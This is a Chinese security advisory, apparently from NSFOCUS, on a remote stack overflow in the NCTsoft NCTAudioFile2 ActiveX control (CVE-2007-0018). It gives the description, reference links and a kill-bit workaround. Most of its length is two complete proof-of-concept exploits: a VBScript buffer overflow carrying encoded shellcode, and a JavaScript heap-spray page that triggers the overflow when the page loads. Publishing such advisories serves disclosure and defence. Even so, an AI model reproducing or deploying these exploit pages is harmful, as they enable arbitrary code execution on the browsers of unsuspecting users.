安全研究

安全漏洞
NCTsoft NCTAudioFile2 ActiveX控件远程栈溢出漏洞

发布日期:2007-01-24
更新日期:2007-01-29

受影响系统:
NCTsoft NCTAudioFile2 2.6.1.648
NCTsoft NCTAudioFile2 2.5.7.514
描述:
BUGTRAQ  ID: 22196
CVE(CAN) ID: CVE-2007-0018

NCTAudioFile2是NCTsoft提供的一个ActiveX控件,用于处理音频数据。

NCTAudioFile2 ActiveX控件在处理带有畸形参数的SetFormatLikeSample()方法时存在栈溢出漏洞,远程攻击者可能利用此漏洞控制用户机器。

如果攻击者能够向该方式发送超过4124字节的超长参数时,就可以触发这个溢出,导致执行任意指令。

<*来源:Carsten Eiram
  
  链接:http://secunia.com/secunia_research/2007-2/advisory/
        http://www.kb.cert.org/vuls/id/292713
        http://secunia.com/advisories/26101/
        http://secunia.com/advisories/26100/
        http://secunia.com/advisories/26046/
        http://secunia.com/advisories/25993/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>
<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='NCTAudioFile2'></object>
  <input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
   <script language = 'vbscript'>
    Sub tryMe

     '------------------------------------------------------------------
     '[PoC2] IE NCTAudioFile2.AudioFile ActiveX Remote Stack Overfl0w
     'original advisory: http://secunia.com/advisories/23475/
     'author: shinnai
     'mail: shinnai[at]autistici[dot]org
     'site: http://shinnai.altervista.org
     'based on: http://www.milw0rm.com/exploits/3728
     '(see what InTeL said about Win XP Pro SP2 and IE7, enjoy brotha ;)
     'modified for working on Win XP Pro SP2 with IE7 full patched
     '------------------------------------------------------------------

     buff = String (4116, "A")

     get_EIP = unescape("%EB%AA%D7%77") '0x77D7AAEB call esp (from user32.dll)

     nop = unescape("%90%90%90%90%90%90%90%90%90%90")

     shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
                 unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
                 unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
                 unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
                 unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
                 unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
                 unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
                 unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
                 unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
                 unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
                 unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
                 unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
                 unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
                 unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
                 unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
                 unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
                 unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
                 unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
                 unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
                 unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
                 unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
                 unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

     egg = buff + get_EIP + nop + shellcode + nop

     NCTAudioFile2.SetFormatLikeSample egg

    End Sub
   </script>
</html>


<html>
<script language="JavaScript" defer>
  var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                       "%u652E%u6578%u9000");
  var sSlide = unescape("%u9090%u9090");
  var heapSA = 0x0c0c0c0c;
  function tryMe()
   {
    var buffSize = 5200;
    var x =  unescape("%0c%0c%0c%0c");
    while (x.length<buffSize) x += x;
    x = x.substring(0,buffSize);
    boom.SetFormatLikeSample (x);
  }
  function getsSlide(sSlide, sSlideSize)
   {
    while (sSlide.length*2<sSlideSize)
     {
      sSlide += sSlide;
     }
    sSlide = sSlide.substring(0,sSlideSize/2);
    return (sSlide);
  }
  var heapBS = 0x400000;
  var sizeHDM = 0x5;
  var PLSize = (sCode.length * 2);
  var sSlideSize = heapBS - (PLSize + sizeHDM);
  var heapBlocks = (heapSA+heapBS)/heapBS;
  var memory = new Array();
  sSlide = getsSlide(sSlide,sSlideSize);
  for (i=0;i<heapBlocks;i++)
   {
    memory[i] = sSlide +  sCode;
   }
</script>
<body onload="JavaScript: return tryMe();">
  <object id="boom" classid="clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC" codebase="http://shinnai.net/AudFile.dll">
   Unable to create object
  </object>
</body>
</html>

建议:
临时解决方法:

* 在Internet Explorer中禁用NCTAudioFile2 ActiveX控件

为以下CLSID设置kill bit:

      {77829F14-D911-40FF-A2F0-D11DB8D6D0BC}

或者将以下文本保存为.REG文件并导入:

      Windows Registry Editor Version 5.00

      [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{77829F14-D911-40FF-A2F0-D11DB8D6D0BC}]
      "Compatibility Flags"=dword:00000400

厂商补丁:

NCTsoft
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://nctsoft.com/products/NCTAudioEditor2/

浏览次数:3809
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障